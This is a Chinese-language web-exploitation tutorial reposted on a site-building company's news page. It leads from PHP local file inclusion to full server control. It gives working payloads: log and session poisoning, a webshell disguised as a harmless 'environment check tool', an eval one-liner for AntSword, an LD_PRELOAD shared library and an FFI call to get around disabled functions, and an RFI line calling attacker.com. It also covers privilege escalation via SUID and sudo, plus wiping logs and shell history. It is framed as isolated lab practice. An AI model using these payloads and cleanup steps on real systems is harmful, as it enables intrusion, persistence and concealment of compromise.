尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

文件包含漏洞实战:从LFI到蚁剑连接与disable_function绕过

文件包含漏洞实战:从LFI到蚁剑连接与disable_function绕过
📅 发布时间:2026/7/27 6:00:42

1. 项目概述:从文件包含到系统权限的实战路径

在渗透测试或安全研究的学习初期,很多新手朋友都会遇到一个经典且威力巨大的漏洞组合:文件包含漏洞。这个漏洞本身可能只是一个读取服务器本地文件的“小问题”,但一旦与其它条件结合,就能成为获取服务器最高权限(即“getshell”)的致命跳板。今天,我就以一个从业者的视角,带大家完整走一遍这个流程:从发现一个不起眼的文件包含点开始,如何一步步利用它写入Webshell,最终通过蚁剑(AntSword)这样的“瑞士军刀”连接并控制服务器,甚至在服务器开启了严格安全限制(disable_function)的情况下,如何绕过限制执行系统命令。这不仅仅是CTF比赛中的题目,更是真实环境中可能遇到的攻防对抗缩影。

理解这个链条,对于防守方而言,能更清晰地认识到单一漏洞可能引发的连锁风险;对于学习安全的进攻方,则是掌握了一种从信息泄露到权限提升的核心方法论。整个过程涉及Web安全、PHP语言特性、服务器配置、权限绕过等多个知识点,我会尽量用通俗的语言和类比,把每个环节的原理、操作和踩过的坑都讲清楚。无论你是刚入门的安全爱好者,还是想巩固Web渗透技能的同学,这篇内容都能给你提供一条清晰的、可复现的实战路径。

2. 核心漏洞原理与利用环境搭建

2.1 文件包含漏洞的本质与分类

文件包含漏洞,顾名思义,是指应用程序在引入(包含)外部文件时,未对用户可控的参数进行严格过滤,导致攻击者可以包含并执行任意文件。这主要发生在使用类似include(),require(),include_once(),require_once()这些PHP函数的场景中。

你可以把它想象成一家餐厅的后厨。厨师(Web应用程序)需要根据顾客(用户)点的菜名(参数),从仓库(服务器文件系统)里取出相应的食材(文件)进行加工。正常情况下,顾客只能点菜单上有的菜(如“红烧肉.php”、“清蒸鱼.html”)。但如果餐厅管理不严,顾客可以直接告诉厨师“去仓库把第3个冰柜里那个贴着‘秘制酱料’的罐子拿过来”,厨师照做了,结果那个罐子里装的是毒药(恶意代码),整道菜(输出的网页)就出了问题。

文件包含主要分为两类:

  1. 本地文件包含(LFI):包含服务器本地的文件。例如,参数?file=../../etc/passwd,可能让应用程序读取到系统的用户配置文件。
  2. 远程文件包含(RFI):包含远程服务器上的文件。例如,参数?file=http://attacker.com/shell.txt。这要求PHP配置中allow_url_include选项为On,在现代PHP版本和默认配置下已非常罕见,因此我们今天的重点在LFI。

LFI的可怕之处在于,它不仅能读取敏感文件(如源码、配置文件),在特定条件下还能与文件上传、日志写入、Session文件污染等结合,将恶意代码写入服务器的一个临时文件中,再通过LFI去包含这个文件,从而执行任意PHP代码,这就是我们getshell的起点。

2.2 靶场环境搭建与漏洞点模拟

为了让大家能安全地练习,我强烈建议在本地虚拟机或隔离的VPS中搭建测试环境。这里我使用Docker快速构建一个存在典型文件包含漏洞的PHP环境。

首先,创建一个项目目录,比如lfi_lab,在里面创建以下文件:

docker-compose.yml

version: '3' services: web: image: php:7.4-apache container_name: lfi_web ports: - "8080:80" volumes: - ./src:/var/www/html environment: - ALLOW_URL_INCLUDE=Off

这个配置使用PHP 7.4的Apache镜像,将本地的src目录映射到容器的Web根目录。

src/index.php (存在漏洞的页面)

<?php // 模拟一个存在文件包含漏洞的页面 $page = $_GET['page'] ?? 'home.php'; // 危险!未对$page进行任何过滤 include('./pages/' . $page); ?>

src/pages/home.php

<h1>Welcome Home</h1> <p>This is a normal page.</p>

src/pages/about.php

<h1>About Us</h1> <p>This is about page.</p>

启动环境:docker-compose up -d。访问http://localhost:8080/?page=home.php和?page=about.php可以正常切换页面。但当我们尝试?page=../../../../etc/passwd时,就可能出现警告或报错,这是因为路径超出了Web目录。我们需要先找到一种方法,将恶意代码“放”到服务器上。

注意:真实的漏洞点可能更隐蔽,比如参数名是module,template,p等,路径拼接也可能不同。关键是通过模糊测试(fuzz)或代码审计,找到那个未过滤的可控点。

3. 利用链构造:从LFI到代码执行

单纯的LFI只能读文件,要getshell,我们需要让服务器执行我们提供的PHP代码。这就需要找到一个我们能控制内容、且服务器会将其当作PHP文件来解析的“临时文件”。以下是几种经典的方法:

3.1 方法一:利用PHP封装协议

PHP提供了一些有趣的“包装器”(Wrapper),可以处理不同协议的数据流。在文件包含中,我们可以利用php://input和php://filter。

php://input 直接执行代码当allow_url_include为On时(我们靶场默认是Off,但有些老旧环境可能开启),可以这样利用:

URL: http://target.com/vuln.php?file=php://input POST Data: <?php system('whoami'); ?>

服务器会将POST主体作为PHP代码执行。但在allow_url_include=Off时此路不通。

php://filter 进行编码与读取php://filter本身不执行代码,但它是一个强大的“读取器”和“转换器”,在两大场景下极其有用:

  1. 读取源码:当包含非PHP文件(如.txt)时,服务器不会解析其中的PHP代码,只会显示文本。但我们可以用php://filter/convert.base64-encode/resource=index.php来读取index.php的base64编码内容,从而绕过一些显示限制,进行源代码审计。
  2. 写入Webshell(关键):这是我们将LFI转化为代码执行的核心技巧。它需要结合另一个漏洞点,比如日志文件包含或Session文件包含。

3.2 方法二:日志文件注入(最经典的实战路径)

Web服务器(如Apache、Nginx)会记录所有访问日志,包括User-Agent、访问路径等。如果我们能把PHP代码写入访问日志,再通过LFI去包含这个日志文件,代码就会被执行。

操作步骤:

  1. 找到日志路径:通过LFI读取服务器配置文件或利用已知路径。常见路径有/var/log/apache2/access.log,/var/log/nginx/access.log,/var/www/html/../logs/access.log等。
  2. 污染日志:使用Burp Suite或curl,发送一个特殊的HTTP请求,将PHP代码放在User-Agent或Referer字段中。
    curl -A "<?php phpinfo();?>" http://target.com/
  3. 包含日志文件:假设我们通过信息收集得知日志路径为/var/log/apache2/access.log,那么访问:
    http://target.com/vuln.php?file=../../../../var/log/apache2/access.log
    如果日志文件中包含了我们注入的<?php phpinfo();?>,并且该文件在Web目录可访问的路径内,那么phpinfo()页面就会被执行并显示出来!

实操心得:日志文件通常很大,直接包含可能导致超时或内存不足。一个技巧是先通过包含确认日志路径正确(能看到正常的日志记录),再注入一小段用于验证的代码(如<?php echo ‘HACKED’;?>),成功后再写入功能完整的Webshell。

3.3 方法三:Session文件包含

PHP会将Session数据存储在服务器上的临时文件中(如/tmp/sess_[sessionid])。如果Session内容用户部分可控(例如,程序将用户名存入$_SESSION[‘username’]),且我们知道Session文件的路径和名称,就可以实施攻击。

操作步骤:

  1. 让服务器为我们创建一个Session。访问一个使用了Session的页面。
  2. 污染Session。通过表单或参数,将用户名设置为<?php phpinfo();?>。
  3. 获取Session ID。从Cookie中获取(如PHPSESSID=abc123)。
  4. 计算Session文件路径。默认格式常为/tmp/sess_abc123。
  5. 包含Session文件。?file=../../../../tmp/sess_abc123。

注意事项:Session文件包含的成功率取决于Session存储路径是否可知、是否在可包含范围内,以及程序是否对存入Session的数据进行了过滤。在实战中,这需要细致的测试。

4. 写入Webshell与蚁剑连接实战

一旦我们通过上述任何一种方法,实现了远程代码执行(RCE),下一步就是写入一个持久化的、功能强大的Webshell,方便我们后续操作。

4.1 编写一个免杀、功能全的Webshell

直接写入<?php @eval($_POST[‘cmd’]);?>这种一句话木马虽然简单,但极易被安全软件或WAF检测。我们可以稍作变形,并增加一些实用功能。

下面是一个我常用的“小马”,它功能更丰富,且通过简单的编码绕过静态检测:

<?php // 伪装成一个普通的配置检查文件 header(‘Content-Type: text/plain; charset=utf-8‘); error_reporting(0); // 核心功能:命令执行 if(isset($_GET[‘action‘]) && $_GET[‘action‘]==‘exec‘){ $command = $_GET[‘cmd‘] ?? ‘whoami‘; echo “<pre>“; system($command); echo “</pre>“; die(); } // 核心功能:文件管理(简易版) if(isset($_GET[‘action‘]) && $_GET[‘action‘]==‘browse‘){ $path = $_GET[‘path‘] ?? ‘./‘; echo “<h3>Listing: “ . htmlspecialchars($path) . “</h3><ul>“; foreach(scandir($path) as $item){ if($item==‘.‘||$item==‘..‘) continue; $fullpath = $path . ‘/‘ . $item; echo “<li>“ . htmlspecialchars($item) . “ (“ . (is_dir($fullpath)?‘DIR‘:‘FILE‘) . “)</li>“; } echo “</ul>“; die(); } // 核心功能:写入文件(用于写入蚁剑连接用的后门) if(isset($_POST[‘write‘])){ $filename = $_POST[‘f‘]; $content = base64_decode($_POST[‘c‘]); if(file_put_contents($filename, $content)){ echo “Write OK to “ . htmlspecialchars($filename); }else{ echo “Write Failed“; } die(); } echo “Server Environment Check Tool. No issues found.“; ?>

这个“小马”看起来人畜无害,但提供了命令执行、文件浏览和文件写入三个关键功能,通过GET参数action来切换。

4.2 利用RCE写入Webshell

假设我们已经通过日志包含,可以执行system(‘whoami‘);这样的命令。现在我们需要将上面的Webshell代码写入到Web目录中,比如/var/www/html/shell.php。

由于我们的代码包含引号和特殊字符,直接通过URL传递容易出错。一个可靠的方法是将Webshell代码进行Base64编码,然后在目标服务器上解码写入。

  1. 编码Webshell。将上面完整的PHP代码进行Base64编码(可以在线工具或本地用base64命令)。
  2. 构造写入命令。在已实现的RCE点执行以下命令:
    echo ‘PD9waHAg...(这里是完整的Base64编码字符串)‘ | base64 -d > /var/www/html/shell.php
    或者使用PHP本身来解码写入:
    <?php file_put_contents(‘/var/www/html/shell.php‘, base64_decode(‘PD9waHAg...‘)); ?>
  3. 访问验证。访问http://target.com/shell.php,如果显示“Server Environment Check Tool”,说明写入成功。再访问http://target.com/shell.php?action=exec&cmd=id,应该能返回当前用户的ID信息。

4.3 蚁剑(AntSword)连接与初始化

蚁剑是一个图形化的Webshell管理工具,比浏览器操作更高效。首先,从GitHub官方仓库下载并安装蚁剑。

  1. 配置连接:打开蚁剑,点击“添加”。在URL地址中填入我们的Webshell地址:http://target.com/shell.php。连接密码留空(因为我们的小马没有设置密码参数,蚁剑默认会尝试一些常见参数如pass、ant等,可能连不上)。
  2. 使用自定义编码器:我们的“小马”不是标准的一句话,蚁剑可能无法直接识别。这时需要用到蚁剑强大的“自定义编码器”功能。
    • 在添加数据时,在“编码器”下拉框中选择“默认”。
    • 更有效的方法是,我们写入一个蚁剑专用的标准一句话木马。利用我们“小马”的文件写入功能(action=write),写入以下内容:
      <?php @eval($_POST[‘ant‘]);?>
      将这个代码Base64编码后,通过POST请求发送到shell.php:
      POST /shell.php HTTP/1.1 ... write=1&f=antsword.php&c=PD9waHAgQGV2YWwoJF9QT1NUWydhbnQnXSk7Pz4=
      这样就在服务器上生成了antsword.php文件。
  3. 连接新Shell:在蚁剑中添加新数据,URL填写http://target.com/antsword.php,密码填写ant,编码器选择base64(这是最常见的),点击“添加”并测试连接。成功连接后,你就可以在蚁剑的图形界面中浏览文件、执行命令、上传下载文件,就像操作一个简易的文件管理器。

5. 深入内核:绕过disable_function限制

成功连接蚁剑后,你可能会兴奋地尝试执行whoami、pwd,但有时会返回一个错误:Warning: system() has been disabled for security reasons。这意味着管理员在php.ini中设置了disable_functions,禁用了system,shell_exec,exec,passthru,popen等危险函数,这就像给PHP套上了一层“枷锁”。

5.1 理解disable_function的机制

disable_functions是PHP的一个安全配置指令,它通过在PHP引擎加载时,从函数表中移除指定的函数名来实现禁用。因此,在PHP代码层面,你无法直接“恢复”或“启用”这些函数。我们的目标不是解除禁用,而是寻找这条禁令之外的、同样能执行系统命令的“旁路”。

5.2 绕过方法一:利用未禁用的危险函数

首先检查哪些函数没被禁用。在蚁剑的“虚拟终端”或通过Webshell执行<?php print_r(ini_get(‘disable_functions‘)); ?>。

  • LD_PRELOAD劫持与mail()/error_log()函数:这是最经典、成功率较高的方法。原理是:PHP的mail()或error_log()函数在发送邮件或写错误日志时,内部会调用/usr/sbin/sendmail这个外部程序。我们可以通过环境变量LD_PRELOAD,让系统在启动任何新进程(包括sendmail)时,优先加载我们编写的恶意共享库(.so文件),从而执行我们的代码。操作步骤:

    1. 编写一个C文件hack.c,其中定义一个__attribute__ ((constructor))的函数,这个函数会在库被加载时自动执行,里面可以调用system()。
      #include <stdlib.h> #include <stdio.h> __attribute__ ((constructor)) void angel() { unsetenv("LD_PRELOAD"); system("echo 'Hacked' > /tmp/test.txt"); }
    2. 在目标服务器上编译它(需要gcc)。gcc -shared -fPIC hack.c -o hack.so。
    3. 通过PHP代码设置环境变量并调用mail()。
      <?php putenv("LD_PRELOAD=/path/to/hack.so"); mail("a@localhost","","","",""); ?>

    执行后,查看/tmp/test.txt文件是否被创建。蚁剑有现成的插件(如“绕过禁用函数”)可以自动化这个过程。

  • ImageMagick漏洞(CVE-2016-3714):如果服务器安装了ImageMagick组件且版本存在漏洞,可以通过构造恶意图片文件来触发命令执行。这需要上传一个特殊构造的图片,并用PHP的Imagick库去处理它。

  • COM组件(Windows):在Windows服务器上,如果PHP配置启用了COM扩展,且未禁用com_load()等函数,可以调用Windows的COM对象(如WScript.Shell)来执行命令。

5.3 绕过方法二:利用PHP扩展

  • FFI扩展(PHP 7.4+):FFI(Foreign Function Interface)允许PHP调用C库的函数。如果FFI扩展被启用且未禁用ffi->new等方法,可以直接调用libc的system函数。

    <?php $ffi = FFI::cdef("int system(const char *command);", "libc.so.6"); $ffi->system("id > /tmp/ffi_test"); ?>
  • PHP-FPM未授权访问/RCE:如果目标服务器使用PHP-FPM模式(如Nginx + PHP-FPM),且FPM监听端口(如9000)暴露在外网或可被Web服务器访问,可能存在未授权访问或RCE漏洞。可以通过构造特殊的FastCGI协议数据包,让PHP-FPM执行任意代码。蚁剑也有相应的插件可以利用此漏洞。

5.4 绕过方法三:利用系统组件与程序

寻找Web服务器权限可以调用的其他系统程序。

  • Perl/Python:如果服务器安装了Perl或Python,且可以执行,可以编写简单的脚本。
    <?php echo ‘<pre>‘; echo shell_exec(‘perl -e \'print "Hello from Perl!\n"\'‘); echo shell_exec(‘python3 -c "import os; print(os.listdir(‘.‘))"‘); echo ‘</pre>‘; ?>
  • find命令的-exec参数:find / -name ‘*.php‘ -exec whoami \;
  • awk/sed等文本处理命令:可以通过复杂的拼接实现命令执行。

核心排查思路:当遇到disable_function时,不要慌张。遵循“由内到外”的思路:1. 检查PHP内部未禁用函数(如pcntl_exec,proc_open,popen);2. 检查可用的PHP扩展(FFI, Imagick);3. 寻找调用外部程序的机会(mail/imap_mail, error_log,反引号运算符配合可执行程序);4. 利用系统层面漏洞(PHP-FPM, 第三方库漏洞)。蚁剑的插件市场提供了很多自动化脚本,可以逐一尝试。

6. 权限提升与痕迹清理思路

获取Webshell通常只是第一步,我们可能只是一个低权限用户(如www-data)。为了完全控制服务器,可能需要提权(Privilege Escalation)。

6.1 信息收集与提权枚举

在蚁剑的虚拟终端中,执行一系列信息收集命令:

# 查看当前用户和组 id whoami # 查看系统内核版本、发行版信息 uname -a cat /etc/issue cat /etc/*-release # 查看具有SUID权限的特殊文件(提权重点) find / -perm -u=s -type f 2>/dev/null # 查看sudo权限 sudo -l # 查看计划任务 crontab -l ls -la /etc/cron* # 查看进程、网络连接 ps aux netstat -antp

根据收集到的信息,寻找提权突破口。例如:

  • 内核漏洞:如果内核版本较老,搜索对应的本地提权(LPE)漏洞,如DirtyCow。使用searchsploit或上传编译好的exp。
  • SUID程序滥用:如果发现find,vim,bash,cp,nmap等程序具有SUID权限,可以尝试利用其特性提权。例如,find . -exec /bin/sh \;。
  • sudo权限滥用:如果sudo -l显示当前用户可以以root身份无需密码运行某些命令(如/usr/bin/vim,/usr/bin/python),可以直接通过这些命令启动一个root shell。
  • 环境变量劫持:如果调用的SUID程序依赖于环境变量PATH,可以劫持PATH来执行恶意程序。

6.2 操作完成后的痕迹清理(仅用于授权测试后的恢复)

在获得授权进行渗透测试后,为了不影响目标系统正常业务,需要清理痕迹。切记,未经授权的操作是违法行为。

  1. 删除上传的Webshell文件:使用蚁剑文件管理器或命令rm /var/www/html/shell.php /var/www/html/antsword.php。
  2. 清理日志:
    • Web日志:echo ‘‘ > /var/log/apache2/access.log(谨慎操作,可能触发告警)。
    • 命令历史:清理当前用户的.bash_history文件:echo ‘‘ > ~/.bash_history或history -c。
    • 对于日志注入点,可以尝试用大量正常请求覆盖掉含有恶意代码的日志行。
  3. 删除临时文件:删除上传的提权exp、编译的.so文件等。
  4. 检查后门与账户:检查是否创建了新的用户账户或SSH密钥,如有则删除。

整个从文件包含到getshell,再到绕过限制和提权的过程,是一个环环相扣的链条。防守方需要关注每一环:严格过滤所有用户输入、关闭不必要的PHP功能、及时更新系统和组件、配置严格的日志和权限策略。而对于学习者来说,亲手在隔离环境中复现这个过程,是理解Web安全攻防本质最快的方式。我建议你在自己的实验环境中,尝试每一种方法,并思考如何防御,这样才能真正把知识转化为能力。

相关新闻

  • 从零详解Transformer:自注意力机制与PyTorch实战
  • 绵阳市防水补漏_2026川北科技城漏水维修市场行情与五大正规施工团队推荐 - 雨婺虹房屋维修
  • TMS320C54x DSP开发板硬件设计:从架构到调试的工程实践

最新新闻

  • Docker核心技术解析:镜像、容器与仓库实践指南
  • Docker部署Apache Doris:从环境隔离到生产级集群搭建实战
  • 2026年六西格玛假设检验怎么理解——众智商学院张明老师从零基础到实战应用 - 众智商学院cppm官方
  • YOLOv8-DynamicHGNetV2猪面部检测系统开发实践
  • TMS320C674x DSP引脚复用配置详解:从原理到电机控制与音频接口实战
  • AI论文写作工具:从提纲生成到学术规范检查全解析

日新闻

  • OpenClaw开源智能体网关:AI助手与即时通讯的完美融合
  • 写一个简单的sh脚本
  • 2026年 西安缝隙天线厂家:5G通信与车载天线专业定制供应商深度分析 - 卓企推荐

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号